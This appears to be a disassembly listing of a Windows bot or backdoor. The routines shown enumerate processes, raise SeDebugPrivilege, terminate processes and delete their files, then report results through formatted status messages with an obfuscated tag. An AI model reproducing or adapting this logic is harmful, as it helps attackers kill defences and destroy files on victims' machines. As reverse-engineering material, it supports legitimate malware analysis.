		push	offset aDS	; " %d%s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		call	sub_423270
		add	esp, 18h


loc_417F81:				; CODE XREF: sub_417CD7+270j
		push	edi
		lea	eax, [ebp+var_490]
		push	[ebp+var_4]
		push	offset a_2d_2d	; " %.2d:%.2d"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		call	sub_423270
		add	esp, 18h
		lea	eax, [ebp+var_314]
		cmp	[ebp+var_1E4], ebx
		push	eax
		lea	eax, [ebp+var_418]
		push	eax
		lea	eax, [ebp+var_298]
		push	esi
		push	offset aSProcsFinished ; "%s Procs Finished: \"%s\", Total Running "...
		push	eax
		push	[ebp+arg_0]
		jnz	short loc_417FD9
		call	sub_4104F6
		jmp	short loc_417FDE
; ---------------------------------------------------------------------------


loc_417FD9:				; CODE XREF: sub_417CD7+2F9j
		call	sub_410491


loc_417FDE:				; CODE XREF: sub_417CD7+300j
		add	esp, 18h


loc_417FE1:				; CODE XREF: sub_417CD7+21Cj
					; sub_417CD7+225j
		cmp	[ebp+var_14], ebx
		mov	esi, dword_42F038
		jz	short loc_417FF1
		push	[ebp+var_14]
		call	esi ; dword_42F038


loc_417FF1:				; CODE XREF: sub_417CD7+313j
		cmp	[ebp+var_10], ebx
		jz	short loc_417FFB
		push	[ebp+var_10]
		call	esi ; dword_42F038


loc_417FFB:				; CODE XREF: sub_417CD7+31Dj
		push	[ebp+var_218]
		call	sub_41C059
		pop	ecx
		xor	eax, eax


loc_418009:				; CODE XREF: sub_417CD7+1A5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_417CD7	endp


; =============== S U B	R O U T	I N E =======================================



sub_418010	proc near		; DATA XREF: sub_403B2C+1737o
		mov	eax, offset loc_42EF34
		call	sub_423A68
		mov	eax, 1564h
		call	sub_4220C0
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 90h
		mov	esi, eax
		lea	edi, [ebp-26Ch]
		xor	ebx, ebx
		rep movsd
		mov	edi, [ebp-26Ch]
		xor	esi, esi
		inc	esi
		cmp	[ebp-1D8h], ebx
		mov	[eax+0BCh], esi
		mov	[ebp+8], edi
		jz	loc_4181EC
		mov	al, [ebp+0Bh]
		push	ebx
		push	ebx
		lea	ecx, [ebp-1Ch]
		mov	[ebp-1Ch], al
		call	sub_4199B0
		mov	[ebp-18h], eax
		mov	[ebp-14h], ebx
		push	dword ptr [ebp-1E0h]
		lea	eax, [ebp-1Ch]
		mov	[ebp-4], ebx
		push	eax
		call	sub_418436
		pop	ecx
		test	al, al
		pop	ecx
		jz	loc_418192
		cmp	[ebp-1B4h], ebx
		mov	esi, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0"
		lea	eax, [ebp-268h]
		push	esi
		push	offset aSProcsList ; "%s Procs List:"
		push	eax
		push	edi
		jnz	short loc_4180AD
		call	sub_4104F6
		jmp	short loc_4180B2
; ---------------------------------------------------------------------------


loc_4180AD:				; CODE XREF: sub_418010+94j
		call	sub_410491


loc_4180B2:				; CODE XREF: sub_418010+9Bj
		add	esp, 10h
		cmp	[ebp-1BCh], ebx
		mov	edi, offset aPidAMemoryUsag ; "	PID  -	Memory Usage - Process"
		jz	short loc_4180DD
		cmp	[ebp-1B4h], ebx
		jnz	short loc_4180E5
		lea	eax, [ebp-268h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4104F6
		add	esp, 0Ch


loc_4180DD:				; CODE XREF: sub_418010+B0j
		cmp	[ebp-1B4h], ebx
		jz	short loc_4180F8


loc_4180E5:				; CODE XREF: sub_418010+B8j
		lea	eax, [ebp-268h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	sub_410491
		add	esp, 0Ch


loc_4180F8:				; CODE XREF: sub_418010+D3j
		mov	eax, [ebp-18h]
		mov	edi, [eax]
		cmp	edi, eax
		jz	short loc_418169


loc_418101:				; CODE XREF: sub_418010+155j
		mov	eax, [edi+108h]
		lea	ebx, [edi+10Ch]
		push	offset aK	; " K"
		push	ebx
		mov	[ebp-10h], eax
		call	sub_423270
		lea	eax, [edi+8]
		push	eax
		push	ebx
		push	dword ptr [ebp-10h]
		lea	eax, [ebp-1570h]
		push	offset a6d10sS	; " %-6d- %-10s- \"%s\""
		push	eax
		call	sub_422063
		add	esp, 1Ch
		cmp	dword ptr [ebp-1B4h], 0
		lea	eax, [ebp-1570h]
		push	eax
		lea	eax, [ebp-268h]
		push	eax
		push	dword ptr [ebp+8]
		jnz	short loc_418158
		call	sub_4104F6
		jmp	short loc_41815D
; ---------------------------------------------------------------------------


loc_418158:				; CODE XREF: sub_418010+13Fj
		call	sub_410491


loc_41815D:				; CODE XREF: sub_418010+146j
		mov	edi, [edi]
		add	esp, 0Ch
		cmp	edi, [ebp-18h]
		jnz	short loc_418101
		xor	ebx, ebx


loc_418169:				; CODE XREF: sub_418010+EFj
		cmp	[ebp-1B4h], ebx
		lea	eax, [ebp-268h]
		push	esi
		push	offset aSEndOfList ; "%s End of	list"
		push	eax
		push	dword ptr [ebp+8]
		jnz	short loc_41818B
		call	sub_4104F6


loc_418186:				; CODE XREF: sub_418010+180j
		add	esp, 10h
		jmp	short loc_4181DB
; ---------------------------------------------------------------------------


loc_41818B:				; CODE XREF: sub_418010+16Fj
		call	sub_410491
		jmp	short loc_418186
; ---------------------------------------------------------------------------


loc_418192:				; CODE XREF: sub_418010+75j
		cmp	[ebp-1B4h], ebx
		jnz	short loc_4181BA
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0"
		lea	eax, [ebp-268h]
		push	offset aSUnableToListP ; "%s Unable to list procs,error: <%d>"
		push	eax
		push	edi
		call	sub_4104F6
		jmp	short loc_4181D8
; ---------------------------------------------------------------------------


loc_4181BA:				; CODE XREF: sub_418010+188j
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0"
		lea	eax, [ebp-268h]
		push	offset aSUnableToListP ; "%s Unable to list procs,error: <%d>"
		push	eax
		push	edi
		call	sub_410491


loc_4181D8:				; CODE XREF: sub_418010+1A8j
		add	esp, 14h


loc_4181DB:				; CODE XREF: sub_418010+179j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-1Ch]
		call	sub_419912
		jmp	loc_418408
; ---------------------------------------------------------------------------


loc_4181EC:				; CODE XREF: sub_418010+43j
		cmp	[ebp-1D4h], ebx
		jz	loc_418408
		cmp	[ebp-1D0h], ebx
		jnz	loc_4182F5
		lea	eax, [ebp-2Ch]
		push	eax
		push	dword ptr [ebp-1E4h]
		call	sub_418614
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_418269
		cmp	[ebp-1B8h], ebx
		mov	esi, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0"
		mov	edi, offset aSProSKilledTot ; "%s Pro \"%s\" killed,total: <%s>"
		jnz	short loc_418251
		cmp	[ebp-1B4h], ebx
		jnz	short loc_41825D
		lea	eax, [ebp-2Ch]
		push	eax
		lea	eax, [ebp-268h]
		push	dword ptr [ebp-1E4h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4104F6
		add	esp, 18h


loc_418251:				; CODE XREF: sub_418010+219j
		cmp	[ebp-1B4h], ebx
		jz	loc_418408


loc_41825D:				; CODE XREF: sub_418010+221j
		lea	eax, [ebp-2Ch]
		push	eax
		push	dword ptr [ebp-1E4h]
		jmp	short loc_4182D2
; ---------------------------------------------------------------------------


loc_418269:				; CODE XREF: sub_418010+207j
		push	dword ptr [ebp-1E4h]
		call	sub_422B5A
		push	eax
		call	sub_4188DB
		pop	ecx
		mov	esi, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0"
		test	eax, eax
		pop	ecx
		jz	short loc_4182EB
		mov	edi, offset aSPidIKilled ; "%s PID \"%i\" killed"


loc_41828A:				; CODE XREF: sub_418010+421j
		cmp	[ebp-1B8h], ebx
		jnz	short loc_4182BA
		cmp	[ebp-1B4h], ebx
		jnz	short loc_4182C6
		push	dword ptr [ebp-1E4h]
		call	sub_422B5A
		push	eax
		push	esi
		lea	eax, [ebp-268h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4104F6
		add	esp, 18h


loc_4182BA:				; CODE XREF: sub_418010+280j
		cmp	[ebp-1B4h], ebx
		jz	loc_418408


loc_4182C6:				; CODE XREF: sub_418010+288j
		push	dword ptr [ebp-1E4h]
		call	sub_422B5A
		push	eax


loc_4182D2:				; CODE XREF: sub_418010+257j
		push	esi
		lea	eax, [ebp-268h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	sub_410491
		add	esp, 18h
		jmp	loc_418408
; ---------------------------------------------------------------------------


loc_4182EB:				; CODE XREF: sub_418010+273j
		mov	edi, offset aSFailedToKillP ; "%s Failed to kill proc"
		jmp	loc_4183C8
; ---------------------------------------------------------------------------


loc_4182F5:				; CODE XREF: sub_418010+1EEj
		lea	eax, [ebp-370h]
		push	eax
		push	dword ptr [ebp-1E4h]
		call	sub_422B5A
		pop	ecx
		push	eax
		call	sub_418930
		push	eax
		lea	eax, [ebp-370h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_422063
		lea	eax, [ebp-570h]
		push	eax
		lea	eax, [ebp-470h]
		push	eax
		push	ebx
		lea	eax, [ebp-370h]
		push	ebx
		push	eax
		call	sub_4245FD
		lea	eax, [ebp-570h]
		push	eax
		lea	eax, [ebp-470h]
		push	eax
		call	sub_423270
		add	esp, 30h
		xor	edi, edi
		mov	[ebp-10h], ebx


loc_418357:				; CODE XREF: sub_418010+3ACj
		push	dword ptr [ebp-1E4h]
		call	sub_422B5A
		push	eax
		call	sub_4188DB
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_418370
		mov	edi, esi


loc_418370:				; CODE XREF: sub_418010+35Cj
		lea	eax, [ebp-370h]
		push	80h
		push	eax
		call	dword_42F08C	; SetFileAttributesA
		lea	eax, [ebp-370h]
		push	eax
		call	dword_42F088	; DeleteFileA
		test	eax, eax
		jnz	loc_418427
		cmp	edi, ebx
		jz	short loc_4183AA
		lea	eax, [ebp-470h]
		push	ebx
		push	eax
		call	sub_418614
		pop	ecx
		pop	ecx


loc_4183AA:				; CODE XREF: sub_418010+389j
		push	3E8h
		call	dword_42F15C	; Sleep
		inc	dword ptr [ebp-10h]
		cmp	dword ptr [ebp-10h], 5
		jl	short loc_418357
		mov	esi, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0"
		mov	edi, offset aSFailedToKillA ; "%s Failed to kill and erase proc"


loc_4183C8:				; CODE XREF: sub_418010+2E0j
		cmp	[ebp-1B8h], ebx
		jnz	short loc_4183EC
		cmp	[ebp-1B4h], ebx
		jnz	short loc_4183F4
		push	esi
		lea	eax, [ebp-268h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4104F6
		add	esp, 10h


loc_4183EC:				; CODE XREF: sub_418010+3BEj
		cmp	[ebp-1B4h], ebx
		jz	short loc_418408


loc_4183F4:				; CODE XREF: sub_418010+3C6j
		push	esi
		lea	eax, [ebp-268h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	sub_410491
		add	esp, 10h


loc_418408:				; CODE XREF: sub_418010+1D7j
					; sub_418010+1E2j ...
		push	dword ptr [ebp-1E8h]
		call	sub_41C059
		pop	ecx
		pop	edi
		mov	ecx, [ebp-0Ch]
		pop	esi
		xor	eax, eax
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_418427:				; CODE XREF: sub_418010+381j
		mov	esi, offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0"
		mov	edi, offset aSPidIKilledAnd ; "%s PID \"%i\" killed and	deleted"
		jmp	loc_41828A
sub_418010	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418436	proc near		; CODE XREF: sub_418010+6Cp

var_15CC	= byte ptr -15CCh
var_5CC		= byte ptr -5CCh
var_3CC		= byte ptr -3CCh
var_2CC		= byte ptr -2CCh
var_1CC		= dword	ptr -1CCh
var_1C8		= byte ptr -1C8h
var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_44		= byte ptr -44h
var_38		= dword	ptr -38h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 15CCh
		call	sub_4220C0
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_15CC]
		push	1000h
		push	eax
		call	dword_45430C
		test	eax, eax
		jnz	short loc_418461
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_418461:				; CODE XREF: sub_418436+25j
		mov	eax, [ebp+var_8]
		push	edi
		shr	eax, 2
		mov	[ebp+var_10], eax
		mov	eax, dword_43E558
		push	3Fh
		mov	[ebp+var_148], eax
		mov	eax, dword_43E55C
		pop	ecx
		push	0
		mov	[ebp+var_144], eax
		pop	eax
		lea	edi, [ebp+var_140]
		rep stosd
		mov	[ebp+var_4], eax
		jz	loc_41860F
		push	ebx
		push	esi
		mov	ebx, offset aS_1 ; "%s"


loc_41849F:				; CODE XREF: sub_418436+1D1j
		mov	eax, [ebp+var_4]
		lea	esi, [ebp+eax*4+var_15CC]
		push	dword ptr [esi]
		push	0
		push	410h
		call	dword_42F0E4	; OpenProcess
		mov	edi, eax
		test	edi, edi
		jz	loc_4185FE
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	edi
		call	dword_4542D0
		test	eax, eax
		jz	loc_4185F7
		lea	eax, [ebp+var_148]
		push	104h
		push	eax
		push	[ebp+var_C]
		push	edi
		call	dword_4542CC
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_2CC]
		push	ebx
		push	eax
		call	sub_422063
		mov	eax, [esi]
		add	esp, 0Ch
		mov	[ebp+var_1CC], eax
		lea	eax, [ebp+var_44]
		push	28h
		push	eax
		push	edi
		call	dword_454364
		test	eax, eax
		jz	short loc_418547
		mov	eax, [ebp+var_38]
		push	0
		shr	eax, 0Ah
		push	eax
		call	sub_41F537
		push	eax
		push	ebx
		lea	eax, [ebp+var_1C8]
		push	80h
		push	eax
		call	sub_42219B
		add	esp, 18h
		jmp	short loc_418567
; ---------------------------------------------------------------------------


loc_418547:				; CODE XREF: sub_418436+E9j
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	offset aErrorD	; "Error: <%d>"
		lea	eax, [ebp+var_1C8]
		push	80h
		push	eax
		call	sub_42219B
		add	esp, 10h


loc_418567:				; CODE XREF: sub_418436+10Fj
		xor	eax, eax
		cmp	[ebp+arg_4], eax
		jz	short loc_4185E0
		lea	ecx, [ebp+var_3CC]
		push	ecx
		lea	ecx, [ebp+var_5CC]
		push	ecx
		push	eax
		push	eax
		lea	eax, [ebp+var_2CC]
		push	eax
		call	sub_4245FD
		lea	eax, [ebp+var_3CC]
		push	eax
		lea	eax, [ebp+var_5CC]
		push	eax
		call	sub_423270
		lea	eax, [ebp+var_5CC]
		push	eax
		push	[ebp+arg_4]
		push	offset aSS_3	; "%s /	%s\n"
		push	offset dword_449470
		call	sub_424744
		add	esp, 2Ch
		lea	eax, [ebp+var_5CC]
		push	eax
		push	[ebp+arg_4]
		call	dword_42F070	; lstrcmpiA
		test	eax, eax
		jnz	short loc_4185F7
		mov	ecx, [ebp+arg_0]
		lea	edx, [ebp+var_2CC]
		push	edx
		mov	eax, [ecx+4]
		push	eax
		lea	eax, [ebp+var_18]
		jmp	short loc_4185F1
; ---------------------------------------------------------------------------


loc_4185E0:				; CODE XREF: sub_418436+136j
		mov	ecx, [ebp+arg_0]
		lea	edx, [ebp+var_2CC]
		push	edx
		mov	eax, [ecx+4]
		push	eax
		lea	eax, [ebp+var_14]


loc_4185F1:				; CODE XREF: sub_418436+1A8j
		push	eax
		call	sub_41993D


loc_4185F7:				; CODE XREF: sub_418436+9Fj
					; sub_418436+195j
		push	edi
		call	dword_42F038	; CloseHandle


loc_4185FE:				; CODE XREF: sub_418436+86j
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_10]
		jb	loc_41849F
		pop	esi
		pop	ebx


loc_41860F:				; CODE XREF: sub_418436+5Cj
		mov	al, 1
		pop	edi
		leave
		retn
sub_418436	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418614	proc near		; CODE XREF: sub_403B2C+66FAp
					; sub_418010+1FEp ...

var_1148	= dword	ptr -1148h
var_148		= byte ptr -148h
var_44		= byte ptr -44h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1148h
		call	sub_4220C0
		push	ebx
		push	esi
		push	10h
		lea	eax, [ebp+var_8]
		pop	esi
		xor	ebx, ebx
		push	eax
		push	ebx
		push	28h
		mov	[ebp+var_1], bl
		mov	[ebp+var_1C], esi
		call	dword_42F100	; GetCurrentThread
		push	eax
		call	dword_454248	; OpenThreadToken
		test	eax, eax
		jnz	short loc_418660
		lea	eax, [ebp+var_8]
		push	eax
		push	28h
		call	dword_42F040	; GetCurrentProcess
		push	eax
		call	dword_4542F8	; OpenProcessToken
		test	eax, eax
		jnz	short loc_418660
		mov	[ebp+var_8], ebx


loc_418660:				; CODE XREF: sub_418614+30j
					; sub_418614+47j
		cmp	[ebp+var_8], ebx
		jz	short loc_4186B7
		lea	eax, [ebp+var_30]
		mov	[ebp+var_34], 1
		push	eax
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	ebx
		mov	[ebp+var_28], 2
		call	dword_4542C4	; LookupPrivilegeValueA
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		push	ebx
		push	[ebp+var_8]
		call	dword_454378	; AdjustTokenPrivileges
		test	eax, eax
		jz	short loc_4186AB
		call	dword_42F068	; RtlGetLastWin32Error
		cmp	eax, 514h
		jnz	short loc_4186B7


loc_4186AB:				; CODE XREF: sub_418614+88j
		push	[ebp+var_8]
		call	dword_42F038	; CloseHandle
		mov	[ebp+var_8], ebx


loc_4186B7:				; CODE XREF: sub_418614+4Fj
					; sub_418614+95j
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_1148]
		push	1000h
		push	eax
		call	dword_45430C
		test	eax, eax
		jnz	short loc_4186D8
		xor	al, al
		jmp	loc_41880E
; ---------------------------------------------------------------------------


loc_4186D8:				; CODE XREF: sub_418614+BBj
		mov	esi, [ebp+var_18]
		mov	[ebp+var_10], ebx
		shr	esi, 2
		mov	[ebp+var_24], esi
		mov	[ebp+var_C], ebx
		jz	loc_4187D3
		push	edi


loc_4186EE:				; CODE XREF: sub_418614+1B8j
		lea	eax, [ebp+var_148]
		push	offset aUnknown	; "unknown"
		push	eax
		call	dword_42F04C	; lstrcpyA
		mov	eax, [ebp+var_C]
		push	[ebp+eax*4+var_1148]
		push	ebx
		push	411h
		call	dword_42F0E4	; OpenProcess
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4187C6
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		push	edi
		call	dword_4542D0
		test	eax, eax
		jz	loc_4187BF
		lea	eax, [ebp+var_148]
		push	104h
		push	eax
		push	[ebp+var_20]
		push	edi
		call	dword_454224
		lea	eax, [ebp+var_148]
		mov	[ebp+var_14], ebx
		push	eax
		call	sub_422120
		test	eax, eax
		pop	ecx
		jbe	short loc_418791
		mov	eax, [ebp+var_C]
		lea	esi, [ebp+eax+var_148]


loc_41876D:				; CODE XREF: sub_418614+178j
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_4248E0
		inc	[ebp+var_14]
		mov	[esi], al
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_422120
		cmp	[ebp+var_14], eax
		pop	ecx
		pop	ecx
		jb	short loc_41876D
		mov	esi, [ebp+var_24]


loc_418791:				; CODE XREF: sub_418614+14Dj
		cmp	[ebp+arg_0], ebx
		jnz	short loc_41879B
		mov	[ebp+var_1], bl
		jmp	short loc_4187BF
; ---------------------------------------------------------------------------


loc_41879B:				; CODE XREF: sub_418614+180j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4187BF
		inc	[ebp+var_10]
		push	ebx
		push	edi
		call	dword_42F0EC	; TerminateProcess
		mov	[ebp+var_1], 1


loc_4187BF:				; CODE XREF: sub_418614+11Fj
					; sub_418614+185j ...
		push	edi
		call	dword_42F038	; CloseHandle


loc_4187C6:				; CODE XREF: sub_418614+106j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], esi
		jb	loc_4186EE
		pop	edi


loc_4187D3:				; CODE XREF: sub_418614+D3j
		cmp	[ebp+arg_4], ebx
		jz	short loc_4187EB
		push	[ebp+var_10]
		push	offset aI_1	; "%i"
		push	[ebp+arg_4]
		call	sub_422063
		add	esp, 0Ch


loc_4187EB:				; CODE XREF: sub_418614+1C2j
		cmp	[ebp+var_8], ebx
		jz	short loc_41880B
		push	ebx
		push	ebx
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		push	[ebp+var_8]
		call	dword_454378	; AdjustTokenPrivileges
		push	[ebp+var_8]
		call	dword_42F038	; CloseHandle


loc_41880B:				; CODE XREF: sub_418614+1DAj
		mov	al, [ebp+var_1]


loc_41880E:				; CODE XREF: sub_418614+BFj
		pop	esi
		pop	ebx
		leave
		retn
sub_418614	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418812	proc near		; CODE XREF: sub_4188DB+12p

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	esi
		push	edi
		push	28h
		mov	[ebp+var_8], 10h
		mov	[ebp+var_4], edi
		call	dword_42F100	; GetCurrentThread
		push	eax
		call	dword_454248	; OpenThreadToken
		test	eax, eax
		jnz	short loc_418855
		push	esi
		push	28h
		call	dword_42F040	; GetCurrentProcess
		push	eax
		call	dword_4542F8	; OpenProcessToken
		test	eax, eax
		jnz	short loc_418855
		mov	[esi], edi


loc_418855:				; CODE XREF: sub_418812+2Bj
					; sub_418812+3Fj
		cmp	[esi], edi
		jz	short loc_4188AC
		lea	eax, [ebp+var_14]
		xor	ebx, ebx
		push	eax
		inc	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	edi
		mov	[ebp+var_18], ebx
		mov	[ebp+var_C], 2
		call	dword_4542C4	; LookupPrivilegeValueA
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	[ebp+arg_4]
		push	10h
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_454378	; AdjustTokenPrivileges
		test	eax, eax
		jz	short loc_4188A2
		call	dword_42F068	; RtlGetLastWin32Error
		cmp	eax, 514h
		jz	short loc_4188A2
		mov	[ebp+var_4], ebx
		jmp	short loc_4188AC
; ---------------------------------------------------------------------------


loc_4188A2:				; CODE XREF: sub_418812+7Cj
					; sub_418812+89j
		push	dword ptr [esi]
		call	dword_42F038	; CloseHandle
		mov	[esi], edi


loc_4188AC:				; CODE XREF: sub_418812+45j
					; sub_418812+8Ej
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418812	endp


; =============== S U B	R O U T	I N E =======================================



sub_4188B4	proc near		; CODE XREF: sub_4188DB+47p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		xor	ecx, ecx
		mov	eax, [esi]
		cmp	eax, ecx
		jz	short loc_4188D9
		push	ecx
		push	ecx
		push	10h
		push	[esp+10h+arg_4]
		push	ecx
		push	eax
		call	dword_454378	; AdjustTokenPrivileges
		push	dword ptr [esi]
		call	dword_42F038	; CloseHandle


loc_4188D9:				; CODE XREF: sub_4188B4+Bj
		pop	esi
		retn
sub_4188B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4188DB	proc near		; CODE XREF: sub_418010+265p
					; sub_418010+353p ...

var_14		= byte ptr -14h
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_4]
		xor	ebx, ebx
		push	eax
		call	sub_418812
		pop	ecx
		pop	ecx
		push	[ebp+arg_0]
		push	ebx
		push	411h
		call	dword_42F0E4	; OpenProcess
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41891A
		push	ebx
		push	esi
		call	dword_42F0EC	; TerminateProcess
		push	esi
		mov	bl, 1
		call	dword_42F038	; CloseHandle


loc_41891A:				; CODE XREF: sub_4188DB+2Cj
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_4188B4
		pop	ecx
		pop	ecx
		pop	esi
		movzx	eax, bl
		pop	ebx
		leave
		retn
sub_4188DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418930	proc near		; CODE XREF: sub_418010+2F9p

var_1114	= byte ptr -1114h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1114h
		call	sub_4220C0
		push	ebx
		push	esi
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		lea	eax, [ebp+var_1114]
		push	1000h
		push	eax
		call	dword_45430C
		test	eax, eax
		jz	loc_418A16
		mov	eax, dword_43E558
		mov	ebx, [ebp+var_C]
		push	3Fh
		mov	[ebp+var_114], eax
		mov	eax, dword_43E55C
		pop	ecx
		mov	[ebp+var_110], eax
		push	offset a???	; "???"
		push	[ebp+arg_4]
		xor	eax, eax
		lea	edi, [ebp+var_10C]
		rep stosd
		shr	ebx, 2
		call	dword_42F04C	; lstrcpyA
		xor	edi, edi
		test	ebx, ebx
		jbe	short loc_418A13


loc_41899B:				; CODE XREF: sub_418930+B0j
		lea	esi, [ebp+edi*4+var_1114]
		push	dword ptr [esi]
		push	0
		push	410h
		call	dword_42F0E4	; OpenProcess
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	short loc_4189DD
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	4
		push	ecx
		push	eax
		call	dword_4542D0
		test	eax, eax
		jz	short loc_4189D4
		mov	eax, [ebp+arg_0]
		cmp	eax, [esi]
		jz	short loc_4189E4


loc_4189D4:				; CODE XREF: sub_418930+9Bj
		push	[ebp+var_4]
		call	dword_42F038	; CloseHandle


loc_4189DD:				; CODE XREF: sub_418930+86j
		inc	edi
		cmp	edi, ebx
		jb	short loc_41899B
		jmp	short loc_418A13
; ---------------------------------------------------------------------------


loc_4189E4:				; CODE XREF: sub_418930+A2j
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	dword_4542CC
		lea	eax, [ebp+var_114]
		push	eax
		push	offset aS_1	; "%s"
		push	[ebp+arg_4]
		call	sub_422063
		add	esp, 0Ch


loc_418A13:				; CODE XREF: sub_418930+69j
					; sub_418930+B2j
		mov	eax, [ebp+arg_4]


loc_418A16:				; CODE XREF: sub_418930+28j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418930	endp


; =============== S U B	R O U T	I N E =======================================



sub_418A1B	proc near		; CODE XREF: start+87p
					; sub_403B2C+142Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	32h
		mov	esi, offset dword_45C3AC
		push	0
		push	esi
		call	sub_4221F0
		mov	eax, [esp+18h+arg_0]
		mov	edi, 3E8h
		xor	edx, edx
		mov	ecx, edi
		div	ecx
		xor	edx, edx
		add	esp, 0Ch
		push	3Ch
		pop	ebx
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_4]
		div	edi
		xor	edx, edx
		mov	edi, 0E10h
		sub	ecx, eax
		mov	eax, ecx
		mov	ecx, 15180h
		div	ecx
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	edi
		mov	edi, eax
